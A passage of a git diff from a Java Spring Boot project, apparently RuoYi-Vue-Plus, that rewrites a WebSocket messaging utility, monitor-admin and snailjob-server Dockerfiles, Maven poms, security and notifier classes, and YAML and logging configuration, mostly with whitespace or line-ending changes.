要发送消息的用户id - * @param message 要发送的消息内容 - */ - public static void sendMessage(Long sessionKey, String message) { - WebSocketSession session = WebSocketSessionHolder.getSessions(sessionKey); - sendMessage(session, message); - } - - /** - * 订阅WebSocket消息主题,并提供一个消费者函数来处理接收到的消息 - * - * @param consumer 处理WebSocket消息的消费者函数 - */ - public static void subscribeMessage(Consumer consumer) { - RedisUtils.subscribe(WEB_SOCKET_TOPIC, WebSocketMessageDto.class, consumer); - } - - /** - * 发布WebSocket订阅消息 - * - * @param webSocketMessage 要发布的WebSocket消息对象 - */ - public static void publishMessage(WebSocketMessageDto webSocketMessage) { - List unsentSessionKeys = new ArrayList<>(); - // 当前服务内session,直接发送消息 - for (Long sessionKey : webSocketMessage.getSessionKeys()) { - if (WebSocketSessionHolder.existSession(sessionKey)) { - WebSocketUtils.sendMessage(sessionKey, webSocketMessage.getMessage()); - continue; - } - unsentSessionKeys.add(sessionKey); - } - // 不在当前服务内session,发布订阅消息 - if (CollUtil.isNotEmpty(unsentSessionKeys)) { - WebSocketMessageDto broadcastMessage = new WebSocketMessageDto(); - broadcastMessage.setMessage(webSocketMessage.getMessage()); - broadcastMessage.setSessionKeys(unsentSessionKeys); - RedisUtils.publish(WEB_SOCKET_TOPIC, broadcastMessage, consumer -> { - log.info(" WebSocket发送主题订阅消息topic:{} session keys:{} message:{}", - WEB_SOCKET_TOPIC, unsentSessionKeys, webSocketMessage.getMessage()); - }); - } - } - - /** - * 向所有的WebSocket会话发布订阅的消息(群发) - * - * @param message 要发布的消息内容 - */ - public static void publishAll(String message) { - WebSocketMessageDto broadcastMessage = new WebSocketMessageDto(); - broadcastMessage.setMessage(message); - RedisUtils.publish(WEB_SOCKET_TOPIC, broadcastMessage, consumer -> { - log.info("WebSocket发送主题订阅消息topic:{} message:{}", WEB_SOCKET_TOPIC, message); - }); - } - - /** - * 向指定的WebSocket会话发送Pong消息 - * - * @param session 要发送Pong消息的WebSocket会话 - */ - public static void sendPongMessage(WebSocketSession session) { - sendMessage(session, new PongMessage()); - } - - /** - * 向指定的WebSocket会话发送文本消息 - * - * @param session WebSocket会话 - * @param message 要发送的文本消息内容 - */ - public static void sendMessage(WebSocketSession session, String message) { - sendMessage(session, new TextMessage(message)); - } - - /** - * 向指定的WebSocket会话发送WebSocket消息对象 - * - * @param session WebSocket会话 - * @param message 要发送的WebSocket消息对象 - */ - private synchronized static void sendMessage(WebSocketSession session, WebSocketMessage message) { - if (session == null || !session.isOpen()) { - log.warn("[send] session会话已经关闭"); - } else { - try { - session.sendMessage(message); - } catch (IOException e) { - log.error("[send] session({}) 发送消息({}) 异常", session, message, e); - } - } - } -} +package org.dromara.common.websocket.utils; + +import cn.hutool.core.collection.CollUtil; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.websocket.dto.WebSocketMessageDto; +import org.dromara.common.websocket.holder.WebSocketSessionHolder; +import org.springframework.web.socket.PongMessage; +import org.springframework.web.socket.TextMessage; +import org.springframework.web.socket.WebSocketMessage; +import org.springframework.web.socket.WebSocketSession; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; +import java.util.function.Consumer; + +import static org.dromara.common.websocket.constant.WebSocketConstants.WEB_SOCKET_TOPIC; + +/** + * 工具类 + * + * @author zendwang + */ +@Slf4j +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class WebSocketUtils { + + /** + * 向指定的WebSocket会话发送消息 + * + * @param sessionKey 要发送消息的用户id + * @param message 要发送的消息内容 + */ + public static void sendMessage(Long sessionKey, String message) { + WebSocketSession session = WebSocketSessionHolder.getSessions(sessionKey); + sendMessage(session, message); + } + + /** + * 订阅WebSocket消息主题,并提供一个消费者函数来处理接收到的消息 + * + * @param consumer 处理WebSocket消息的消费者函数 + */ + public static void subscribeMessage(Consumer consumer) { + RedisUtils.subscribe(WEB_SOCKET_TOPIC, WebSocketMessageDto.class, consumer); + } + + /** + * 发布WebSocket订阅消息 + * + * @param webSocketMessage 要发布的WebSocket消息对象 + */ + public static void publishMessage(WebSocketMessageDto webSocketMessage) { + List unsentSessionKeys = new ArrayList<>(); + // 当前服务内session,直接发送消息 + for (Long sessionKey : webSocketMessage.getSessionKeys()) { + if (WebSocketSessionHolder.existSession(sessionKey)) { + WebSocketUtils.sendMessage(sessionKey, webSocketMessage.getMessage()); + continue; + } + unsentSessionKeys.add(sessionKey); + } + // 不在当前服务内session,发布订阅消息 + if (CollUtil.isNotEmpty(unsentSessionKeys)) { + WebSocketMessageDto broadcastMessage = new WebSocketMessageDto(); + broadcastMessage.setMessage(webSocketMessage.getMessage()); + broadcastMessage.setSessionKeys(unsentSessionKeys); + RedisUtils.publish(WEB_SOCKET_TOPIC, broadcastMessage, consumer -> { + log.info(" WebSocket发送主题订阅消息topic:{} session keys:{} message:{}", + WEB_SOCKET_TOPIC, unsentSessionKeys, webSocketMessage.getMessage()); + }); + } + } + + /** + * 向所有的WebSocket会话发布订阅的消息(群发) + * + * @param message 要发布的消息内容 + */ + public static void publishAll(String message) { + WebSocketMessageDto broadcastMessage = new WebSocketMessageDto(); + broadcastMessage.setMessage(message); + RedisUtils.publish(WEB_SOCKET_TOPIC, broadcastMessage, consumer -> { + log.info("WebSocket发送主题订阅消息topic:{} message:{}", WEB_SOCKET_TOPIC, message); + }); + } + + /** + * 向指定的WebSocket会话发送Pong消息 + * + * @param session 要发送Pong消息的WebSocket会话 + */ + public static void sendPongMessage(WebSocketSession session) { + sendMessage(session, new PongMessage()); + } + + /** + * 向指定的WebSocket会话发送文本消息 + * + * @param session WebSocket会话 + * @param message 要发送的文本消息内容 + */ + public static void sendMessage(WebSocketSession session, String message) { + sendMessage(session, new TextMessage(message)); + } + + /** + * 向指定的WebSocket会话发送WebSocket消息对象 + * + * @param session WebSocket会话 + * @param message 要发送的WebSocket消息对象 + */ + private synchronized static void sendMessage(WebSocketSession session, WebSocketMessage message) { + if (session == null || !session.isOpen()) { + log.warn("[send] session会话已经关闭"); + } else { + try { + session.sendMessage(message); + } catch (IOException e) { + log.error("[send] session({}) 发送消息({}) 异常", session, message, e); + } + } + } +} diff --git a/ruoyi-common/ruoyi-common-websocket/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-websocket/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index c3a7305..255fbaf 100644 --- a/ruoyi-common/ruoyi-common-websocket/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-websocket/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.websocket.config.WebSocketConfig +org.dromara.common.websocket.config.WebSocketConfig diff --git a/ruoyi-extend/pom.xml b/ruoyi-extend/pom.xml index d7280ce..269ff59 100644 --- a/ruoyi-extend/pom.xml +++ b/ruoyi-extend/pom.xml @@ -1,19 +1,19 @@ - - - - ruoyi-vue-plus - org.dromara - ${revision} - - 4.0.0 - ruoyi-extend - pom - - - ruoyi-monitor-admin - ruoyi-snailjob-server - - - + + + + ruoyi-vue-plus + org.dromara + ${revision} + + 4.0.0 + ruoyi-extend + pom + + + ruoyi-monitor-admin + ruoyi-snailjob-server + + + diff --git a/ruoyi-extend/ruoyi-monitor-admin/Dockerfile b/ruoyi-extend/ruoyi-monitor-admin/Dockerfile index d55b956..5c633b3 100644 --- a/ruoyi-extend/ruoyi-monitor-admin/Dockerfile +++ b/ruoyi-extend/ruoyi-monitor-admin/Dockerfile @@ -1,22 +1,22 @@ -# 贝尔实验室 Spring 官方推荐镜像 JDK下载地址 https://bell-sw.com/pages/downloads/ -FROM bellsoft/liberica-openjdk-debian:17.0.11-cds -#FROM bellsoft/liberica-openjdk-debian:21.0.5-cds -#FROM findepi/graalvm:java17-native - -LABEL maintainer="Lion Li" - -RUN mkdir -p /ruoyi/monitor/logs - -WORKDIR /ruoyi/monitor - -ENV LANG=C.UTF-8 LC_ALL=C.UTF-8 JAVA_OPTS="" - -EXPOSE 9090 - -ADD ./target/ruoyi-monitor-admin.jar ./app.jar - -SHELL ["/bin/bash", "-c"] - -ENTRYPOINT java -Djava.security.egd=file:/dev/./urandom \ - -XX:+HeapDumpOnOutOfMemoryError -XX:+UseZGC ${JAVA_OPTS} \ - -jar app.jar +# 贝尔实验室 Spring 官方推荐镜像 JDK下载地址 https://bell-sw.com/pages/downloads/ +FROM bellsoft/liberica-openjdk-debian:17.0.11-cds +#FROM bellsoft/liberica-openjdk-debian:21.0.5-cds +#FROM findepi/graalvm:java17-native + +LABEL maintainer="Lion Li" + +RUN mkdir -p /ruoyi/monitor/logs + +WORKDIR /ruoyi/monitor + +ENV LANG=C.UTF-8 LC_ALL=C.UTF-8 JAVA_OPTS="" + +EXPOSE 9090 + +ADD ./target/ruoyi-monitor-admin.jar ./app.jar + +SHELL ["/bin/bash", "-c"] + +ENTRYPOINT java -Djava.security.egd=file:/dev/./urandom \ + -XX:+HeapDumpOnOutOfMemoryError -XX:+UseZGC ${JAVA_OPTS} \ + -jar app.jar diff --git a/ruoyi-extend/ruoyi-monitor-admin/pom.xml b/ruoyi-extend/ruoyi-monitor-admin/pom.xml index 77c9eb7..4aadf0e 100644 --- a/ruoyi-extend/ruoyi-monitor-admin/pom.xml +++ b/ruoyi-extend/ruoyi-monitor-admin/pom.xml @@ -1,76 +1,76 @@ - - - - ruoyi-extend - org.dromara - ${revision} - - 4.0.0 - jar - ruoyi-monitor-admin - - - - - org.springframework.boot - spring-boot-starter-web - - - spring-boot-starter-tomcat - org.springframework.boot - - - - - - org.springframework.boot - spring-boot-starter-undertow - - - - - org.springframework.boot - spring-boot-starter-security - - - - de.codecentric - spring-boot-admin-starter-server - - - - de.codecentric - spring-boot-admin-starter-client - - - - org.projectlombok - lombok - - - - - - ${project.artifactId} - - - org.springframework.boot - spring-boot-maven-plugin - ${spring-boot.version} - - - - - - - repackage - - - - - - - - + + + + ruoyi-extend + org.dromara + ${revision} + + 4.0.0 + jar + ruoyi-monitor-admin + + + + + org.springframework.boot + spring-boot-starter-web + + + spring-boot-starter-tomcat + org.springframework.boot + + + + + + org.springframework.boot + spring-boot-starter-undertow + + + + + org.springframework.boot + spring-boot-starter-security + + + + de.codecentric + spring-boot-admin-starter-server + + + + de.codecentric + spring-boot-admin-starter-client + + + + org.projectlombok + lombok + + + + + + ${project.artifactId} + + + org.springframework.boot + spring-boot-maven-plugin + ${spring-boot.version} + + + + + + + repackage + + + + + + + + diff --git a/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/MonitorAdminApplication.java b/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/MonitorAdminApplication.java index 0339ebb..bf532f7 100644 --- a/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/MonitorAdminApplication.java +++ b/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/MonitorAdminApplication.java @@ -1,19 +1,19 @@ -package org.dromara.monitor.admin; - -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; - -/** - * Admin 监控启动程序 - * - * @author Lion Li - */ -@SpringBootApplication -public class MonitorAdminApplication { - - public static void main(String[] args) { - SpringApplication.run(MonitorAdminApplication.class, args); - System.out.println("Admin 监控启动成功"); - } - -} +package org.dromara.monitor.admin; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +/** + * Admin 监控启动程序 + * + * @author Lion Li + */ +@SpringBootApplication +public class MonitorAdminApplication { + + public static void main(String[] args) { + SpringApplication.run(MonitorAdminApplication.class, args); + System.out.println("Admin 监控启动成功"); + } + +} diff --git a/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/config/AdminServerConfig.java b/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/config/AdminServerConfig.java index 53d248e..7bacf83 100644 --- a/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/config/AdminServerConfig.java +++ b/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/config/AdminServerConfig.java @@ -1,31 +1,31 @@ -package org.dromara.monitor.admin.config; - -import de.codecentric.boot.admin.server.config.EnableAdminServer; -import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; -import org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration; -import org.springframework.boot.task.ThreadPoolTaskExecutorBuilder; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.context.annotation.Lazy; -import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; - -import java.util.concurrent.Executor; - -/** - * springboot-admin server配置类 - * - * @author Lion Li - */ -@Configuration -@EnableAdminServer -public class AdminServerConfig { - - @Lazy - @Bean(name = TaskExecutionAutoConfiguration.APPLICATION_TASK_EXECUTOR_BEAN_NAME) - @ConditionalOnMissingBean(Executor.class) - public ThreadPoolTaskExecutor applicationTaskExecutor(ThreadPoolTaskExecutorBuilder builder) { - return builder.build(); - } - - -} +package org.dromara.monitor.admin.config; + +import de.codecentric.boot.admin.server.config.EnableAdminServer; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration; +import org.springframework.boot.task.ThreadPoolTaskExecutorBuilder; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Lazy; +import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; + +import java.util.concurrent.Executor; + +/** + * springboot-admin server配置类 + * + * @author Lion Li + */ +@Configuration +@EnableAdminServer +public class AdminServerConfig { + + @Lazy + @Bean(name = TaskExecutionAutoConfiguration.APPLICATION_TASK_EXECUTOR_BEAN_NAME) + @ConditionalOnMissingBean(Executor.class) + public ThreadPoolTaskExecutor applicationTaskExecutor(ThreadPoolTaskExecutorBuilder builder) { + return builder.build(); + } + + +} diff --git a/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/config/SecurityConfig.java b/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/config/SecurityConfig.java index 3458cc9..cc8badd 100644 --- a/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/config/SecurityConfig.java +++ b/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/config/SecurityConfig.java @@ -1,54 +1,54 @@ -package org.dromara.monitor.admin.config; - -import de.codecentric.boot.admin.server.config.AdminServerProperties; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.security.config.Customizer; -import org.springframework.security.config.annotation.web.builders.HttpSecurity; -import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; -import org.springframework.security.config.annotation.web.configurers.AbstractHttpConfigurer; -import org.springframework.security.config.annotation.web.configurers.HeadersConfigurer; -import org.springframework.security.web.SecurityFilterChain; -import org.springframework.security.web.authentication.SavedRequestAwareAuthenticationSuccessHandler; -import org.springframework.security.web.util.matcher.AntPathRequestMatcher; - -/** - * admin 监控 安全配置 - * - * @author Lion Li - */ -@EnableWebSecurity -@Configuration -public class SecurityConfig { - - private final String adminContextPath; - - public SecurityConfig(AdminServerProperties adminServerProperties) { - this.adminContextPath = adminServerProperties.getContextPath(); - } - - @Bean - public SecurityFilterChain filterChain(HttpSecurity httpSecurity) throws Exception { - SavedRequestAwareAuthenticationSuccessHandler successHandler = new SavedRequestAwareAuthenticationSuccessHandler(); - successHandler.setTargetUrlParameter("redirectTo"); - successHandler.setDefaultTargetUrl(adminContextPath + "/"); - - return httpSecurity - .headers((header) -> - header.frameOptions(HeadersConfigurer.FrameOptionsConfig::disable)) - .authorizeHttpRequests((authorize) -> - authorize.requestMatchers( - new AntPathRequestMatcher(adminContextPath + "/assets/**"), - new AntPathRequestMatcher(adminContextPath + "/login") - ).permitAll() - .anyRequest().authenticated()) - .formLogin((formLogin) -> - formLogin.loginPage(adminContextPath + "/login").successHandler(successHandler)) - .logout((logout) -> - logout.logoutUrl(adminContextPath + "/logout")) - .httpBasic(Customizer.withDefaults()) - .csrf(AbstractHttpConfigurer::disable) - .build(); - } - -} +package org.dromara.monitor.admin.config; + +import de.codecentric.boot.admin.server.config.AdminServerProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.config.Customizer; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configurers.AbstractHttpConfigurer; +import org.springframework.security.config.annotation.web.configurers.HeadersConfigurer; +import org.springframework.security.web.SecurityFilterChain; +import org.springframework.security.web.authentication.SavedRequestAwareAuthenticationSuccessHandler; +import org.springframework.security.web.util.matcher.AntPathRequestMatcher; + +/** + * admin 监控 安全配置 + * + * @author Lion Li + */ +@EnableWebSecurity +@Configuration +public class SecurityConfig { + + private final String adminContextPath; + + public SecurityConfig(AdminServerProperties adminServerProperties) { + this.adminContextPath = adminServerProperties.getContextPath(); + } + + @Bean + public SecurityFilterChain filterChain(HttpSecurity httpSecurity) throws Exception { + SavedRequestAwareAuthenticationSuccessHandler successHandler = new SavedRequestAwareAuthenticationSuccessHandler(); + successHandler.setTargetUrlParameter("redirectTo"); + successHandler.setDefaultTargetUrl(adminContextPath + "/"); + + return httpSecurity + .headers((header) -> + header.frameOptions(HeadersConfigurer.FrameOptionsConfig::disable)) + .authorizeHttpRequests((authorize) -> + authorize.requestMatchers( + new AntPathRequestMatcher(adminContextPath + "/assets/**"), + new AntPathRequestMatcher(adminContextPath + "/login") + ).permitAll() + .anyRequest().authenticated()) + .formLogin((formLogin) -> + formLogin.loginPage(adminContextPath + "/login").successHandler(successHandler)) + .logout((logout) -> + logout.logoutUrl(adminContextPath + "/logout")) + .httpBasic(Customizer.withDefaults()) + .csrf(AbstractHttpConfigurer::disable) + .build(); + } + +} diff --git a/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/notifier/CustomNotifier.java b/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/notifier/CustomNotifier.java index 838eefc..1726170 100644 --- a/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/notifier/CustomNotifier.java +++ b/ruoyi-extend/ruoyi-monitor-admin/src/main/java/org/dromara/monitor/admin/notifier/CustomNotifier.java @@ -1,55 +1,55 @@ -package org.dromara.monitor.admin.notifier; - -import de.codecentric.boot.admin.server.domain.entities.Instance; -import de.codecentric.boot.admin.server.domain.entities.InstanceRepository; -import de.codecentric.boot.admin.server.domain.events.InstanceEvent; -import de.codecentric.boot.admin.server.domain.events.InstanceStatusChangedEvent; -import de.codecentric.boot.admin.server.notify.AbstractEventNotifier; -import lombok.extern.slf4j.Slf4j; -import org.springframework.stereotype.Component; -import reactor.core.publisher.Mono; - -import static de.codecentric.boot.admin.server.domain.values.StatusInfo.*; - -/** - * 自定义事件通知处理 - * - * @author Lion Li - */ -@Slf4j -@Component -public class CustomNotifier extends AbstractEventNotifier { - - protected CustomNotifier(InstanceRepository repository) { - super(repository); - } - - @Override - @SuppressWarnings("all") - protected Mono doNotify(InstanceEvent event, Instance instance) { - return Mono.fromRunnable(() -> { - // 实例状态改变事件 - if (event instanceof InstanceStatusChangedEvent) { - // 获取实例注册名称 - String registName = instance.getRegistration().getName(); - // 获取实例ID - String instanceId = event.getInstance().getValue(); - // 获取实例状态 - String status = ((InstanceStatusChangedEvent) event).getStatusInfo().getStatus(); - // 获取服务URL - String serviceUrl = instance.getRegistration().getServiceUrl(); - String statusName = switch (status) { - case STATUS_UP -> "服务上线"; // 实例成功启动并可以正常处理请求 - case STATUS_OFFLINE -> "服务离线"; //实例被手动或自动地从服务中移除 - case STATUS_RESTRICTED -> "服务受限"; //表示实例在某些方面受限,可能无法完全提供所有服务 - case STATUS_OUT_OF_SERVICE -> "停止服务状态"; //表示实例已被标记为停止提供服务,可能是计划内维护或测试 - case STATUS_DOWN -> "服务下线"; //实例因崩溃、错误或其他原因停止运行 - case STATUS_UNKNOWN -> "服务未知异常"; //监控系统无法确定实例的当前状态 - default -> "未知状态"; //没有匹配的状态 - }; - log.info("Instance Status Change: 状态名称【{}】, 注册名称【{}】, 实例ID【{}】, 状态【{}】, 服务URL【{}】", - statusName, registName, instanceId, status, serviceUrl); - } - }); - } -} +package org.dromara.monitor.admin.notifier; + +import de.codecentric.boot.admin.server.domain.entities.Instance; +import de.codecentric.boot.admin.server.domain.entities.InstanceRepository; +import de.codecentric.boot.admin.server.domain.events.InstanceEvent; +import de.codecentric.boot.admin.server.domain.events.InstanceStatusChangedEvent; +import de.codecentric.boot.admin.server.notify.AbstractEventNotifier; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Component; +import reactor.core.publisher.Mono; + +import static de.codecentric.boot.admin.server.domain.values.StatusInfo.*; + +/** + * 自定义事件通知处理 + * + * @author Lion Li + */ +@Slf4j +@Component +public class CustomNotifier extends AbstractEventNotifier { + + protected CustomNotifier(InstanceRepository repository) { + super(repository); + } + + @Override + @SuppressWarnings("all") + protected Mono doNotify(InstanceEvent event, Instance instance) { + return Mono.fromRunnable(() -> { + // 实例状态改变事件 + if (event instanceof InstanceStatusChangedEvent) { + // 获取实例注册名称 + String registName = instance.getRegistration().getName(); + // 获取实例ID + String instanceId = event.getInstance().getValue(); + // 获取实例状态 + String status = ((InstanceStatusChangedEvent) event).getStatusInfo().getStatus(); + // 获取服务URL + String serviceUrl = instance.getRegistration().getServiceUrl(); + String statusName = switch (status) { + case STATUS_UP -> "服务上线"; // 实例成功启动并可以正常处理请求 + case STATUS_OFFLINE -> "服务离线"; //实例被手动或自动地从服务中移除 + case STATUS_RESTRICTED -> "服务受限"; //表示实例在某些方面受限,可能无法完全提供所有服务 + case STATUS_OUT_OF_SERVICE -> "停止服务状态"; //表示实例已被标记为停止提供服务,可能是计划内维护或测试 + case STATUS_DOWN -> "服务下线"; //实例因崩溃、错误或其他原因停止运行 + case STATUS_UNKNOWN -> "服务未知异常"; //监控系统无法确定实例的当前状态 + default -> "未知状态"; //没有匹配的状态 + }; + log.info("Instance Status Change: 状态名称【{}】, 注册名称【{}】, 实例ID【{}】, 状态【{}】, 服务URL【{}】", + statusName, registName, instanceId, status, serviceUrl); + } + }); + } +} diff --git a/ruoyi-extend/ruoyi-monitor-admin/src/main/resources/application.yml b/ruoyi-extend/ruoyi-monitor-admin/src/main/resources/application.yml index b9720cb..b48c9d9 100644 --- a/ruoyi-extend/ruoyi-monitor-admin/src/main/resources/application.yml +++ b/ruoyi-extend/ruoyi-monitor-admin/src/main/resources/application.yml @@ -1,47 +1,47 @@ -server: - port: 9090 -spring: - application: - name: ruoyi-monitor-admin - profiles: - active: @profiles.active@ - -logging: - config: classpath:logback-plus.xml - ---- # 监控中心服务端配置 -spring: - security: - user: - name: @monitor.username@ - password: @monitor.password@ - boot: - admin: - ui: - title: RuoYi-Vue-Plus服务监控中心 - ---- # Actuator 监控端点的配置项 -management: - endpoints: - web: - exposure: - include: '*' - endpoint: - health: - show-details: ALWAYS - logfile: - external-file: ./logs/ruoyi-monitor-admin.log - ---- # 监控配置 -spring.boot.admin.client: - # 增加客户端开关 - enabled: true - # 设置 Spring Boot Admin Server 地址 - url: http://localhost:9090 - instance: - service-host-type: IP - metadata: - username: ${spring.boot.admin.client.username} - userpassword: ${spring.boot.admin.client.password} - username: @monitor.username@ - password: @monitor.password@ +server: + port: 9090 +spring: + application: + name: ruoyi-monitor-admin + profiles: + active: @profiles.active@ + +logging: + config: classpath:logback-plus.xml + +--- # 监控中心服务端配置 +spring: + security: + user: + name: @monitor.username@ + password: @monitor.password@ + boot: + admin: + ui: + title: RuoYi-Vue-Plus服务监控中心 + +--- # Actuator 监控端点的配置项 +management: + endpoints: + web: + exposure: + include: '*' + endpoint: + health: + show-details: ALWAYS + logfile: + external-file: ./logs/ruoyi-monitor-admin.log + +--- # 监控配置 +spring.boot.admin.client: + # 增加客户端开关 + enabled: true + # 设置 Spring Boot Admin Server 地址 + url: http://localhost:9090 + instance: + service-host-type: IP + metadata: + username: ${spring.boot.admin.client.username} + userpassword: ${spring.boot.admin.client.password} + username: @monitor.username@ + password: @monitor.password@ diff --git a/ruoyi-extend/ruoyi-monitor-admin/src/main/resources/banner.txt b/ruoyi-extend/ruoyi-monitor-admin/src/main/resources/banner.txt index 5d24152..8ffdfe2 100644 --- a/ruoyi-extend/ruoyi-monitor-admin/src/main/resources/banner.txt +++ b/ruoyi-extend/ruoyi-monitor-admin/src/main/resources/banner.txt @@ -1,8 +1,8 @@ -Application Version: ${revision} -Spring Boot Version: ${spring-boot.version} - __ __ _ _ _ _ -| \/ | (_) | /\ | | (_) -| \ / | ___ _ __ _| |_ ___ _ __ ______ / \ __| |_ __ ___ _ _ __ -| |\/| |/ _ \| '_ \| | __/ _ \| '__|______/ /\ \ / _` | '_ ` _ \| | '_ \ -| | | | (_) | | | | | || (_) | | / ____ \ (_| | | | | | | | | | | -|_| |_|\___/|_| |_|_|\__\___/|_| /_/ \_\__,_|_| |_| |_|_|_| |_| +Application Version: ${revision} +Spring Boot Version: ${spring-boot.version} + __ __ _ _ _ _ +| \/ | (_) | /\ | | (_) +| \ / | ___ _ __ _| |_ ___ _ __ ______ / \ __| |_ __ ___ _ _ __ +| |\/| |/ _ \| '_ \| | __/ _ \| '__|______/ /\ \ / _` | '_ ` _ \| | '_ \ +| | | | (_) | | | | | || (_) | | / ____ \ (_| | | | | | | | | | | +|_| |_|\___/|_| |_|_|\__\___/|_| /_/ \_\__,_|_| |_| |_|_|_| |_| diff --git a/ruoyi-extend/ruoyi-monitor-admin/src/main/resources/logback-plus.xml b/ruoyi-extend/ruoyi-monitor-admin/src/main/resources/logback-plus.xml index 16bb937..de2aa14 100644 --- a/ruoyi-extend/ruoyi-monitor-admin/src/main/resources/logback-plus.xml +++ b/ruoyi-extend/ruoyi-monitor-admin/src/main/resources/logback-plus.xml @@ -1,34 +1,34 @@ - - - - logback - - - - - - - ${console.log.pattern} - utf-8 - - - - - ${log.path}.log - - ${log.path}.%d{yyyy-MM-dd}.log - - 60 - - - ${log.pattern} - - - - - - - - + + + + logback + + + + + + + ${console.log.pattern} + utf-8 + + + + + ${log.path}.log + + ${log.path}.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + + + + + \ No newline at end of file diff --git a/ruoyi-extend/ruoyi-snailjob-server/Dockerfile b/ruoyi-extend/ruoyi-snailjob-server/Dockerfile index 6f4484d..9fc1557 100644 --- a/ruoyi-extend/ruoyi-snailjob-server/Dockerfile +++ b/ruoyi-extend/ruoyi-snailjob-server/Dockerfile @@ -1,23 +1,23 @@ -# 贝尔实验室 Spring 官方推荐镜像 JDK下载地址 https://bell-sw.com/pages/downloads/ -FROM bellsoft/liberica-openjdk-debian:17.0.11-cds -#FROM bellsoft/liberica-openjdk-debian:21.0.5-cds -#FROM findepi/graalvm:java17-native - -LABEL maintainer="Lion Li" - -RUN mkdir -p /ruoyi/snailjob/logs - -WORKDIR /ruoyi/snailjob - -ENV LANG=C.UTF-8 LC_ALL=C.UTF-8 JAVA_OPTS="-Xms512m -Xmx1024m" - -EXPOSE 8800 -EXPOSE 17888 - -ADD ./target/ruoyi-snailjob-server.jar ./app.jar - -SHELL ["/bin/bash", "-c"] - -ENTRYPOINT java -Djava.security.egd=file:/dev/./urandom \ - -XX:+HeapDumpOnOutOfMemoryError -XX:+UseZGC ${JAVA_OPTS} \ - -jar app.jar +# 贝尔实验室 Spring 官方推荐镜像 JDK下载地址 https://bell-sw.com/pages/downloads/ +FROM bellsoft/liberica-openjdk-debian:17.0.11-cds +#FROM bellsoft/liberica-openjdk-debian:21.0.5-cds +#FROM findepi/graalvm:java17-native + +LABEL maintainer="Lion Li" + +RUN mkdir -p /ruoyi/snailjob/logs + +WORKDIR /ruoyi/snailjob + +ENV LANG=C.UTF-8 LC_ALL=C.UTF-8 JAVA_OPTS="-Xms512m -Xmx1024m" + +EXPOSE 8800 +EXPOSE 17888 + +ADD ./target/ruoyi-snailjob-server.jar ./app.jar + +SHELL ["/bin/bash", "-c"] + +ENTRYPOINT java -Djava.security.egd=file:/dev/./urandom \ + -XX:+HeapDumpOnOutOfMemoryError -XX:+UseZGC ${JAVA_OPTS} \ + -jar app.jar diff --git a/ruoyi-extend/ruoyi-snailjob-server/pom.xml b/ruoyi-extend/ruoyi-snailjob-server/pom.xml index 0b3afd3..ae31e45 100644 --- a/ruoyi-extend/ruoyi-snailjob-server/pom.xml +++ b/ruoyi-extend/ruoyi-snailjob-server/pom.xml @@ -1,58 +1,58 @@ - - - - org.dromara - ruoyi-extend - ${revision} - - 4.0.0 - jar - ruoyi-snailjob-server - - - - com.aizuda - snail-job-server-starter - ${snailjob.version} - - - org.scala-lang - scala-library - - - - - - org.scala-lang - scala-library - 2.13.9 - - - - de.codecentric - spring-boot-admin-starter-client - ${spring-boot-admin.version} - - - - - ${project.artifactId} - - - org.springframework.boot - spring-boot-maven-plugin - ${spring-boot.version} - - - - repackage - - - - - - - - + + + + org.dromara + ruoyi-extend + ${revision} + + 4.0.0 + jar + ruoyi-snailjob-server + + + + com.aizuda + snail-job-server-starter + ${snailjob.version} + + + org.scala-lang + scala-library + + + + + + org.scala-lang + scala-library + 2.13.9 + + + + de.codecentric + spring-boot-admin-starter-client + ${spring-boot-admin.version} + + + + 